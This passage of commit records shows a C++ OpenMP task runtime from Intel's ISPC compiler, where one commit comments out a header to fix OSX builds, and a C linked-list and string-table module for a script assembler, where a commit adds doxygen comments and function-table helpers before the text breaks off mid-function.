PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n\n#define DBG(x)\n#include <omp.h>\n#include <malloc.h>\n\n#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <string.h>\n#include <algorithm>\n\n\/\/ Signature of ispc-generated 'task' functions\ntypedef void (*TaskFuncType)(void *data, int threadIndex, int threadCount,\n int taskIndex, int taskCount,\n int taskIndex0, int taskIndex1, int taskIndex2,\n int taskCount0, int taskCount1, int taskCount2);\n\n\/\/ Small structure used to hold the data for each task\n#ifdef _MSC_VER\n__declspec(align(16))\n#endif\nstruct TaskInfo {\n TaskFuncType func;\n void *data;\n int taskIndex;\n int taskCount3d[3];\n#if defined(ISPC_IS_WINDOWS)\n event taskEvent;\n#endif\n int taskCount() const { return taskCount3d[0]*taskCount3d[1]*taskCount3d[2]; }\n int taskIndex0() const\n {\n return taskIndex % taskCount3d[0];\n }\n int taskIndex1() const\n {\n return ( taskIndex \/ taskCount3d[0] ) % taskCount3d[1];\n }\n int taskIndex2() const\n {\n return taskIndex \/ ( taskCount3d[0]*taskCount3d[1] );\n }\n int taskCount0() const { return taskCount3d[0]; }\n int taskCount1() const { return taskCount3d[1]; }\n int taskCount2() const { return taskCount3d[2]; }\n TaskInfo() { assert(sizeof(TaskInfo) % 32 == 0); }\n}\n#ifndef _MSC_VER\n__attribute__((aligned(32)));\n#endif\n;\n\n\/\/ ispc expects these functions to have C linkage \/ not be mangled\nextern \"C\" {\n void ISPCLaunch(void **handlePtr, void *f, void *data, int countx, int county, int countz);\n void *ISPCAlloc(void **handlePtr, int64_t size, int32_t alignment);\n void ISPCSync(void *handle);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ TaskGroupBase\n\n#define LOG_TASK_QUEUE_CHUNK_SIZE 14\n#define MAX_TASK_QUEUE_CHUNKS 8\n#define TASK_QUEUE_CHUNK_SIZE (1<<LOG_TASK_QUEUE_CHUNK_SIZE)\n\n#define MAX_LAUNCHED_TASKS (MAX_TASK_QUEUE_CHUNKS * TASK_QUEUE_CHUNK_SIZE)\n\n#define NUM_MEM_BUFFERS 16\n\nclass TaskGroup;\n\n\/** The TaskGroupBase structure provides common functionality for \"task\n groups\"; a task group is the set of tasks launched from within a single\n ispc function. When the function is ready to return, it waits for all\n of the tasks in its task group to finish before it actually returns.\n *\/\nclass TaskGroupBase {\npublic:\n void Reset();\n\n int AllocTaskInfo(int count);\n TaskInfo *GetTaskInfo(int index);\n\n void *AllocMemory(int64_t size, int32_t alignment);\n\nprotected:\n TaskGroupBase();\n ~TaskGroupBase();\n\n int nextTaskInfoIndex;\n\nprivate:\n \/* We allocate blocks of TASK_QUEUE_CHUNK_SIZE TaskInfo structures as\n needed by the calling function. We hold up to MAX_TASK_QUEUE_CHUNKS\n of these (and then exit at runtime if more than this many tasks are\n launched.)\n *\/\n TaskInfo *taskInfo[MAX_TASK_QUEUE_CHUNKS];\n\n \/* We also allocate chunks of memory to service ISPCAlloc() calls. The\n memBuffers[] array holds pointers to this memory. The first element\n of this array is initialized to point to mem and then any subsequent\n elements required are initialized with dynamic allocation.\n *\/\n int curMemBuffer, curMemBufferOffset;\n int memBufferSize[NUM_MEM_BUFFERS];\n char *memBuffers[NUM_MEM_BUFFERS];\n char mem[256];\n};\n\n\ninline TaskGroupBase::TaskGroupBase() {\n nextTaskInfoIndex = 0;\n\n curMemBuffer = 0;\n curMemBufferOffset = 0;\n memBuffers[0] = mem;\n memBufferSize[0] = sizeof(mem) \/ sizeof(mem[0]);\n for (int i = 1; i < NUM_MEM_BUFFERS; ++i) {\n memBuffers[i] = NULL;\n memBufferSize[i] = 0;\n }\n\n for (int i = 0; i < MAX_TASK_QUEUE_CHUNKS; ++i)\n taskInfo[i] = NULL;\n}\n\n\ninline TaskGroupBase::~TaskGroupBase() {\n \/\/ Note: don't delete memBuffers[0], since it points to the start of\n \/\/ the \"mem\" member!\n for (int i = 1; i < NUM_MEM_BUFFERS; ++i)\n delete[](memBuffers[i]);\n}\n\n\ninline void\nTaskGroupBase::Reset() {\n nextTaskInfoIndex = 0;\n curMemBuffer = 0;\n curMemBufferOffset = 0;\n}\n\n\ninline int\nTaskGroupBase::AllocTaskInfo(int count) {\n int ret = nextTaskInfoIndex;\n nextTaskInfoIndex += count;\n return ret;\n}\n\n\ninline TaskInfo *\nTaskGroupBase::GetTaskInfo(int index) {\n int chunk = (index >> LOG_TASK_QUEUE_CHUNK_SIZE);\n int offset = index & (TASK_QUEUE_CHUNK_SIZE-1);\n\n if (chunk == MAX_TASK_QUEUE_CHUNKS) {\n fprintf(stderr, \"A total of %d tasks have been launched from the \"\n \"current function--the simple built-in task system can handle \"\n \"no more. You can increase the values of TASK_QUEUE_CHUNK_SIZE \"\n \"and LOG_TASK_QUEUE_CHUNK_SIZE to work around this limitation. \"\n \"Sorry! Exiting.\\n\", index);\n exit(1);\n }\n\n if (taskInfo[chunk] == NULL)\n taskInfo[chunk] = new TaskInfo[TASK_QUEUE_CHUNK_SIZE];\n return &taskInfo[chunk][offset];\n}\n\n\ninline void *\nTaskGroupBase::AllocMemory(int64_t size, int32_t alignment) {\n char *basePtr = memBuffers[curMemBuffer];\n intptr_t iptr = (intptr_t)(basePtr + curMemBufferOffset);\n iptr = (iptr + (alignment-1)) & ~(alignment-1);\n\n int newOffset = int(iptr - (intptr_t)basePtr + size);\n if (newOffset < memBufferSize[curMemBuffer]) {\n curMemBufferOffset = newOffset;\n return (char *)iptr;\n }\n\n ++curMemBuffer;\n curMemBufferOffset = 0;\n assert(curMemBuffer < NUM_MEM_BUFFERS);\n\n int allocSize = 1 << (12 + curMemBuffer);\n allocSize = std::max(int(size+alignment), allocSize);\n char *newBuf = new char[allocSize];\n memBufferSize[curMemBuffer] = allocSize;\n memBuffers[curMemBuffer] = newBuf;\n return AllocMemory(size, alignment);\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Atomics and the like\n\nstatic inline void\nlMemFence() {\n \/\/ Windows atomic functions already contain the fence\n \/\/ KNC doesn't need the memory barrier\n#if !defined ISPC_IS_KNC && !defined ISPC_IS_WINDOWS\n __sync_synchronize();\n#endif\n}\n\nstatic void *\nlAtomicCompareAndSwapPointer(void **v, void *newValue, void *oldValue) {\n#ifdef ISPC_IS_WINDOWS\n return InterlockedCompareExchangePointer(v, newValue, oldValue);\n#else\n void *result = __sync_val_compare_and_swap(v, oldValue, newValue);\n lMemFence();\n return result;\n#endif \/\/ ISPC_IS_WINDOWS\n}\n\n#if 0\nstatic int32_t\nlAtomicCompareAndSwap32(volatile int32_t *v, int32_t newValue, int32_t oldValue) {\n#ifdef ISPC_IS_WINDOWS\n return InterlockedCompareExchange((volatile LONG *)v, newValue, oldValue);\n#else\n int32_t result = __sync_val_compare_and_swap(v, oldValue, newValue);\n lMemFence();\n return result;\n#endif \/\/ ISPC_IS_WINDOWS\n}\n#endif\n\nstatic inline int32_t\nlAtomicAdd(volatile int32_t *v, int32_t delta) {\n#ifdef ISPC_IS_WINDOWS\n return InterlockedExchangeAdd((volatile LONG *)v, delta)+delta;\n#else\n return __sync_fetch_and_add(v, delta);\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass TaskGroup : public TaskGroupBase {\npublic:\n void Launch(int baseIndex, int count);\n void Sync();\n\n};\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ OpenMP\n\nstatic void\nInitTaskSystem() {\n \/\/ No initialization needed\n}\n\ninline void\nTaskGroup::Launch(int baseIndex, int count) {\n#pragma omp parallel\n {\n const int threadIndex = omp_get_thread_num();\n const int threadCount = omp_get_num_threads();\n\n TaskInfo ti = *GetTaskInfo(baseIndex);\n#pragma omp for schedule(runtime)\n for(int i = 0; i < count; i++)\n {\n ti.taskIndex = i;\n\n \/\/ Actually run the task.\n ti.func(ti.data, threadIndex, threadCount, ti.taskIndex, ti.taskCount(),\n ti.taskIndex0(), ti.taskIndex1(), ti.taskIndex2(),\n ti.taskCount0(), ti.taskCount1(), ti.taskCount2());\n }\n }\n}\n\ninline void\nTaskGroup::Sync() {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#define MAX_FREE_TASK_GROUPS 64\nstatic TaskGroup *freeTaskGroups[MAX_FREE_TASK_GROUPS];\n\n static inline TaskGroup *\nAllocTaskGroup()\n{\n for (int i = 0; i < MAX_FREE_TASK_GROUPS; ++i) {\n TaskGroup *tg = freeTaskGroups[i];\n if (tg != NULL) {\n void *ptr = lAtomicCompareAndSwapPointer((void **)(&freeTaskGroups[i]), NULL, tg);\n if (ptr != NULL) {\n return (TaskGroup *)ptr;\n }\n }\n }\n\n return new TaskGroup;\n}\n\n\n static inline void\nFreeTaskGroup(TaskGroup *tg)\n{\n tg->Reset();\n\n for (int i = 0; i < MAX_FREE_TASK_GROUPS; ++i) {\n if (freeTaskGroups[i] == NULL) {\n void *ptr = lAtomicCompareAndSwapPointer((void **)&freeTaskGroups[i], tg, NULL);\n if (ptr == NULL)\n return;\n }\n }\n\n delete tg;\n}\n\n void\nISPCLaunch(void **taskGroupPtr, void *func, void *data, int count0, int count1, int count2)\n{\n const int count = count0*count1*count2;\n TaskGroup *taskGroup;\n if (*taskGroupPtr == NULL) {\n InitTaskSystem();\n taskGroup = AllocTaskGroup();\n *taskGroupPtr = taskGroup;\n }\n else\n taskGroup = (TaskGroup *)(*taskGroupPtr);\n\n int baseIndex = taskGroup->AllocTaskInfo(count);\n for (int i = 0; i < 1; ++i) {\n TaskInfo *ti = taskGroup->GetTaskInfo(baseIndex+i);\n ti->func = (TaskFuncType)func;\n ti->data = data;\n ti->taskIndex = i;\n ti->taskCount3d[0] = count0;\n ti->taskCount3d[1] = count1;\n ti->taskCount3d[2] = count2;\n }\n taskGroup->Launch(baseIndex, count);\n}\n\n\n void\nISPCSync(void *h)\n{\n TaskGroup *taskGroup = (TaskGroup *)h;\n if (taskGroup != NULL) {\n taskGroup->Sync();\n FreeTaskGroup(taskGroup);\n }\n}\n\n\n void *\nISPCAlloc(void **taskGroupPtr, int64_t size, int32_t alignment)\n{\n TaskGroup *taskGroup;\n if (*taskGroupPtr == NULL) {\n InitTaskSystem();\n taskGroup = AllocTaskGroup();\n *taskGroupPtr = taskGroup;\n }\n else\n taskGroup = (TaskGroup *)(*taskGroupPtr);\n\n return taskGroup->AllocMemory(size, alignment);\n}\n\n<commit_msg>fix OSX compilation<commit_after>\/*\n Copyright (c) 2014, Intel Corporation\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are\n met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and\/or other materials provided with the distribution.\n\n * Neither the name of Intel Corporation nor the names of its\n contributors may be used to endorse or promote products derived from\n this software without specific prior written permission.\n\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\n TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER\n OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n\n#define DBG(x)\n#include <omp.h>\n\/\/#include <malloc.h>\n\n#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <string.h>\n#include <algorithm>\n\n\/\/ Signature of ispc-generated 'task' functions\ntypedef void (*TaskFuncType)(void *data, int threadIndex, int threadCount,\n int taskIndex, int taskCount,\n int taskIndex0, int taskIndex1, int taskIndex2,\n int taskCount0, int taskCount1, int taskCount2);\n\n\/\/ Small structure used to hold the data for each task\n#ifdef _MSC_VER\n__declspec(align(16))\n#endif\nstruct TaskInfo {\n TaskFuncType func;\n void *data;\n int taskIndex;\n int taskCount3d[3];\n#if defined(ISPC_IS_WINDOWS)\n event taskEvent;\n#endif\n int taskCount() const { return taskCount3d[0]*taskCount3d[1]*taskCount3d[2]; }\n int taskIndex0() const\n {\n return taskIndex % taskCount3d[0];\n }\n int taskIndex1() const\n {\n return ( taskIndex \/ taskCount3d[0] ) % taskCount3d[1];\n }\n int taskIndex2() const\n {\n return taskIndex \/ ( taskCount3d[0]*taskCount3d[1] );\n }\n int taskCount0() const { return taskCount3d[0]; }\n int taskCount1() const { return taskCount3d[1]; }\n int taskCount2() const { return taskCount3d[2]; }\n TaskInfo() { assert(sizeof(TaskInfo) % 32 == 0); }\n}\n#ifndef _MSC_VER\n__attribute__((aligned(32)));\n#endif\n;\n\n\/\/ ispc expects these functions to have C linkage \/ not be mangled\nextern \"C\" {\n void ISPCLaunch(void **handlePtr, void *f, void *data, int countx, int county, int countz);\n void *ISPCAlloc(void **handlePtr, int64_t size, int32_t alignment);\n void ISPCSync(void *handle);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ TaskGroupBase\n\n#define LOG_TASK_QUEUE_CHUNK_SIZE 14\n#define MAX_TASK_QUEUE_CHUNKS 8\n#define TASK_QUEUE_CHUNK_SIZE (1<<LOG_TASK_QUEUE_CHUNK_SIZE)\n\n#define MAX_LAUNCHED_TASKS (MAX_TASK_QUEUE_CHUNKS * TASK_QUEUE_CHUNK_SIZE)\n\n#define NUM_MEM_BUFFERS 16\n\nclass TaskGroup;\n\n\/** The TaskGroupBase structure provides common functionality for \"task\n groups\"; a task group is the set of tasks launched from within a single\n ispc function. When the function is ready to return, it waits for all\n of the tasks in its task group to finish before it actually returns.\n *\/\nclass TaskGroupBase {\npublic:\n void Reset();\n\n int AllocTaskInfo(int count);\n TaskInfo *GetTaskInfo(int index);\n\n void *AllocMemory(int64_t size, int32_t alignment);\n\nprotected:\n TaskGroupBase();\n ~TaskGroupBase();\n\n int nextTaskInfoIndex;\n\nprivate:\n \/* We allocate blocks of TASK_QUEUE_CHUNK_SIZE TaskInfo structures as\n needed by the calling function. We hold up to MAX_TASK_QUEUE_CHUNKS\n of these (and then exit at runtime if more than this many tasks are\n launched.)\n *\/\n TaskInfo *taskInfo[MAX_TASK_QUEUE_CHUNKS];\n\n \/* We also allocate chunks of memory to service ISPCAlloc() calls. The\n memBuffers[] array holds pointers to this memory. The first element\n of this array is initialized to point to mem and then any subsequent\n elements required are initialized with dynamic allocation.\n *\/\n int curMemBuffer, curMemBufferOffset;\n int memBufferSize[NUM_MEM_BUFFERS];\n char *memBuffers[NUM_MEM_BUFFERS];\n char mem[256];\n};\n\n\ninline TaskGroupBase::TaskGroupBase() {\n nextTaskInfoIndex = 0;\n\n curMemBuffer = 0;\n curMemBufferOffset = 0;\n memBuffers[0] = mem;\n memBufferSize[0] = sizeof(mem) \/ sizeof(mem[0]);\n for (int i = 1; i < NUM_MEM_BUFFERS; ++i) {\n memBuffers[i] = NULL;\n memBufferSize[i] = 0;\n }\n\n for (int i = 0; i < MAX_TASK_QUEUE_CHUNKS; ++i)\n taskInfo[i] = NULL;\n}\n\n\ninline TaskGroupBase::~TaskGroupBase() {\n \/\/ Note: don't delete memBuffers[0], since it points to the start of\n \/\/ the \"mem\" member!\n for (int i = 1; i < NUM_MEM_BUFFERS; ++i)\n delete[](memBuffers[i]);\n}\n\n\ninline void\nTaskGroupBase::Reset() {\n nextTaskInfoIndex = 0;\n curMemBuffer = 0;\n curMemBufferOffset = 0;\n}\n\n\ninline int\nTaskGroupBase::AllocTaskInfo(int count) {\n int ret = nextTaskInfoIndex;\n nextTaskInfoIndex += count;\n return ret;\n}\n\n\ninline TaskInfo *\nTaskGroupBase::GetTaskInfo(int index) {\n int chunk = (index >> LOG_TASK_QUEUE_CHUNK_SIZE);\n int offset = index & (TASK_QUEUE_CHUNK_SIZE-1);\n\n if (chunk == MAX_TASK_QUEUE_CHUNKS) {\n fprintf(stderr, \"A total of %d tasks have been launched from the \"\n \"current function--the simple built-in task system can handle \"\n \"no more. You can increase the values of TASK_QUEUE_CHUNK_SIZE \"\n \"and LOG_TASK_QUEUE_CHUNK_SIZE to work around this limitation. \"\n \"Sorry! Exiting.\\n\", index);\n exit(1);\n }\n\n if (taskInfo[chunk] == NULL)\n taskInfo[chunk] = new TaskInfo[TASK_QUEUE_CHUNK_SIZE];\n return &taskInfo[chunk][offset];\n}\n\n\ninline void *\nTaskGroupBase::AllocMemory(int64_t size, int32_t alignment) {\n char *basePtr = memBuffers[curMemBuffer];\n intptr_t iptr = (intptr_t)(basePtr + curMemBufferOffset);\n iptr = (iptr + (alignment-1)) & ~(alignment-1);\n\n int newOffset = int(iptr - (intptr_t)basePtr + size);\n if (newOffset < memBufferSize[curMemBuffer]) {\n curMemBufferOffset = newOffset;\n return (char *)iptr;\n }\n\n ++curMemBuffer;\n curMemBufferOffset = 0;\n assert(curMemBuffer < NUM_MEM_BUFFERS);\n\n int allocSize = 1 << (12 + curMemBuffer);\n allocSize = std::max(int(size+alignment), allocSize);\n char *newBuf = new char[allocSize];\n memBufferSize[curMemBuffer] = allocSize;\n memBuffers[curMemBuffer] = newBuf;\n return AllocMemory(size, alignment);\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Atomics and the like\n\nstatic inline void\nlMemFence() {\n \/\/ Windows atomic functions already contain the fence\n \/\/ KNC doesn't need the memory barrier\n#if !defined ISPC_IS_KNC && !defined ISPC_IS_WINDOWS\n __sync_synchronize();\n#endif\n}\n\nstatic void *\nlAtomicCompareAndSwapPointer(void **v, void *newValue, void *oldValue) {\n#ifdef ISPC_IS_WINDOWS\n return InterlockedCompareExchangePointer(v, newValue, oldValue);\n#else\n void *result = __sync_val_compare_and_swap(v, oldValue, newValue);\n lMemFence();\n return result;\n#endif \/\/ ISPC_IS_WINDOWS\n}\n\n#if 0\nstatic int32_t\nlAtomicCompareAndSwap32(volatile int32_t *v, int32_t newValue, int32_t oldValue) {\n#ifdef ISPC_IS_WINDOWS\n return InterlockedCompareExchange((volatile LONG *)v, newValue, oldValue);\n#else\n int32_t result = __sync_val_compare_and_swap(v, oldValue, newValue);\n lMemFence();\n return result;\n#endif \/\/ ISPC_IS_WINDOWS\n}\n#endif\n\nstatic inline int32_t\nlAtomicAdd(volatile int32_t *v, int32_t delta) {\n#ifdef ISPC_IS_WINDOWS\n return InterlockedExchangeAdd((volatile LONG *)v, delta)+delta;\n#else\n return __sync_fetch_and_add(v, delta);\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass TaskGroup : public TaskGroupBase {\npublic:\n void Launch(int baseIndex, int count);\n void Sync();\n\n};\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ OpenMP\n\nstatic void\nInitTaskSystem() {\n \/\/ No initialization needed\n}\n\ninline void\nTaskGroup::Launch(int baseIndex, int count) {\n#pragma omp parallel\n {\n const int threadIndex = omp_get_thread_num();\n const int threadCount = omp_get_num_threads();\n\n TaskInfo ti = *GetTaskInfo(baseIndex);\n#pragma omp for schedule(runtime)\n for(int i = 0; i < count; i++)\n {\n ti.taskIndex = i;\n\n \/\/ Actually run the task.\n ti.func(ti.data, threadIndex, threadCount, ti.taskIndex, ti.taskCount(),\n ti.taskIndex0(), ti.taskIndex1(), ti.taskIndex2(),\n ti.taskCount0(), ti.taskCount1(), ti.taskCount2());\n }\n }\n}\n\ninline void\nTaskGroup::Sync() {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#define MAX_FREE_TASK_GROUPS 64\nstatic TaskGroup *freeTaskGroups[MAX_FREE_TASK_GROUPS];\n\n static inline TaskGroup *\nAllocTaskGroup()\n{\n for (int i = 0; i < MAX_FREE_TASK_GROUPS; ++i) {\n TaskGroup *tg = freeTaskGroups[i];\n if (tg != NULL) {\n void *ptr = lAtomicCompareAndSwapPointer((void **)(&freeTaskGroups[i]), NULL, tg);\n if (ptr != NULL) {\n return (TaskGroup *)ptr;\n }\n }\n }\n\n return new TaskGroup;\n}\n\n\n static inline void\nFreeTaskGroup(TaskGroup *tg)\n{\n tg->Reset();\n\n for (int i = 0; i < MAX_FREE_TASK_GROUPS; ++i) {\n if (freeTaskGroups[i] == NULL) {\n void *ptr = lAtomicCompareAndSwapPointer((void **)&freeTaskGroups[i], tg, NULL);\n if (ptr == NULL)\n return;\n }\n }\n\n delete tg;\n}\n\n void\nISPCLaunch(void **taskGroupPtr, void *func, void *data, int count0, int count1, int count2)\n{\n const int count = count0*count1*count2;\n TaskGroup *taskGroup;\n if (*taskGroupPtr == NULL) {\n InitTaskSystem();\n taskGroup = AllocTaskGroup();\n *taskGroupPtr = taskGroup;\n }\n else\n taskGroup = (TaskGroup *)(*taskGroupPtr);\n\n int baseIndex = taskGroup->AllocTaskInfo(count);\n for (int i = 0; i < 1; ++i) {\n TaskInfo *ti = taskGroup->GetTaskInfo(baseIndex+i);\n ti->func = (TaskFuncType)func;\n ti->data = data;\n ti->taskIndex = i;\n ti->taskCount3d[0] = count0;\n ti->taskCount3d[1] = count1;\n ti->taskCount3d[2] = count2;\n }\n taskGroup->Launch(baseIndex, count);\n}\n\n\n void\nISPCSync(void *h)\n{\n TaskGroup *taskGroup = (TaskGroup *)h;\n if (taskGroup != NULL) {\n taskGroup->Sync();\n FreeTaskGroup(taskGroup);\n }\n}\n\n\n void *\nISPCAlloc(void **taskGroupPtr, int64_t size, int32_t alignment)\n{\n TaskGroup *taskGroup;\n if (*taskGroupPtr == NULL) {\n InitTaskSystem();\n taskGroup = AllocTaskGroup();\n *taskGroupPtr = taskGroup;\n }\n else\n taskGroup = (TaskGroup *)(*taskGroupPtr);\n\n return taskGroup->AllocMemory(size, alignment);\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"ssbase_type.h\"\n\n\nvoid InitLinkList(LinkList* pList)\n{\n\tpList->pHead = NULL;\n\tpList->pTail = NULL;\n}\n\nvoid FreeLinkList(LinkList* pList)\n{\n\tif (!pList)\n\t\treturn;\n\n\tif (pList->iNodeCount) \n\t{\n\t\tLinkListNode* pCurrentNode;\n\t\tLinkListNode* pNextNode;\n\n\t\tpCurrentNode = pList->pHead;\n\n\t\twhile (TRUE) \n\t\t{\n\t\t\tpNextNode = pCurrentNode->pNext;\n\n\t\t\t\/\/free the data of current node\n\t\t\tif (pCurrentNode->pData) \n\t\t\t\tfree(pCurrentNode->pData);\n\n\t\t\t\/\/free the current node\n\t\t\tif (pCurrentNode)\n\t\t\t\tfree(pCurrentNode);\n\n\t\t\t\/\/if pNextNode is NULL, then the list is at the end. If not, set it to currnet node\n\t\t\tif (pNextNode)\n\t\t\t\tpCurrentNode = pNextNode;\n\t\t\telse\n\t\t\t\tbreak;\n\t\t}\n\t}\n}\n\nint AddNode(LinkList* pList, void* pData)\n{\n\tLinkListNode* pNewNode = (LinkListNode*)malloc(sizeof(LinkListNode));\n\n\tpNewNode->pData = pData;\n\tpNewNode->pNext = NULL;\n\n\tif (!pList->iNodeCount)\n\t{\n\t\tpList->pHead = pNewNode;\n\t\tpList->pTail = pNewNode;\n\t}\n\telse\n\t{\n\t\tpList->pTail->pNext = pNewNode;\n\t\tpList->pTail = pNewNode;\n\t}\n\tpList->iNodeCount++;\n\n\t\/\/return NewNode's index\n\treturn pList->iNodeCount - 1;\n}\n\nint AddString(LinkList* pList, char* str)\n{\n\tLinkListNode* pNode = pList->pHead;\n\tfor (int i = 0; i < pList->iNodeCount; i++)\n\t{\n\t\tif (strcmp((char*)pNode->pData, str) == 0)\n\t\t\treturn i;\n\t\tpNode = pNode->pNext;\n\t}\n\tchar* newStr =(char*) malloc(strlen(str) + 1);\n\tstrcpy(newStr, str);\n\n\treturn AddNode(pList, newStr);\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<commit_msg>doxygen comment<commit_after>#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"ssbase_type.h\"\n#include \"sstype.h\"\n\n\/*\n * @author Yang Kaidi\n * @version 1.0\n * @date 2015-02-16\n * @{\n *\/\n\nextern LinkList g_FunctionTable;\nextern LinkList g_StringTable;\nextern LinkList g_LabelTable;\nextern LinkList g_SymbolTable;\n\n\/*\n * @defgroup\n * @{\n *\/\n\n\/*\n * Add string into linklist\n * @param [out] pList the linklist which will be inserted into\n * @param [in] str a string to be inserted\n * @return if str has bean already in the linklist, return the index of the string in the list.\n * Otherwise, insert the string and return the new index;\n *\/\nint AddString(LinkList* pList, char* str)\n{\n\t\/\/Look through the linklist to find whether the string has been already in the list.\n\tLinkListNode* pNode = pList->pHead;\n\tfor (int i = 0; i < pList->iNodeCount; i++)\n\t{\n\t\tif (strcmp((char*)pNode->pData, str) == 0)\n\t\t\treturn i;\n\t\tpNode = pNode->pNext;\n\t}\n\t\/\/Not in the list, so allocate space and add string into the list.\n\tchar* newStr =(char*) malloc(strlen(str) + 1);\n\tstrcpy(newStr, str);\n\n\treturn AddNode(pList, newStr);\n}\n\n\/*\n * Get a function's name according to its name\n * @param [in] name function's name\n * @return function node represented by the name\n *\/\nFuncNode* GetFunctionByName(char* name)\n{\n\tif (g_FunctionTable.iNodeCount == 0)\n\t\treturn NULL;\n\n\t\/\/Look through the function table to find the specific function\n\tLinkListNode* pCurrentNode = g_FunctionTable.pHead;\n\tfor (int i = 0; i < g_FunctionTable.iNodeCount; i++)\n\t{\n\t\tFuncNode* pCurrentFunc = (FuncNode*)pCurrentNode->pNext;\n\t\tif (strcpy(pCurrentFunc->strName, name) == 0)\n\t\t\treturn pCurrentFunc;\n\t\t\/\/Move to next node in table\n\t\tpCurrentNode = pCurrentNode->pNext;\n\t}\n\t\/\/Can not find the specific function\n\treturn NULL;\n}\n\n\/*\n * Add Function into the global function table\n * @param [in] name function's name\n * @param [in] entryPoint function's entryPoint\n * @return if the function has bean already in the table, return -1.\n * Otherwise, insert a new function according to the name and entryPoint,\n * and return the new index;\n *\/\nint AddFunction(char* name, int entryPoint)\n{\n\t\/\/if the function already exists in table, return -1\n\tif (GetFunctionByName(name))\n\t\treturn -1;\n\t\/\/create a new function according to the name and entryPoint;\n\tFuncNode* newFunc = 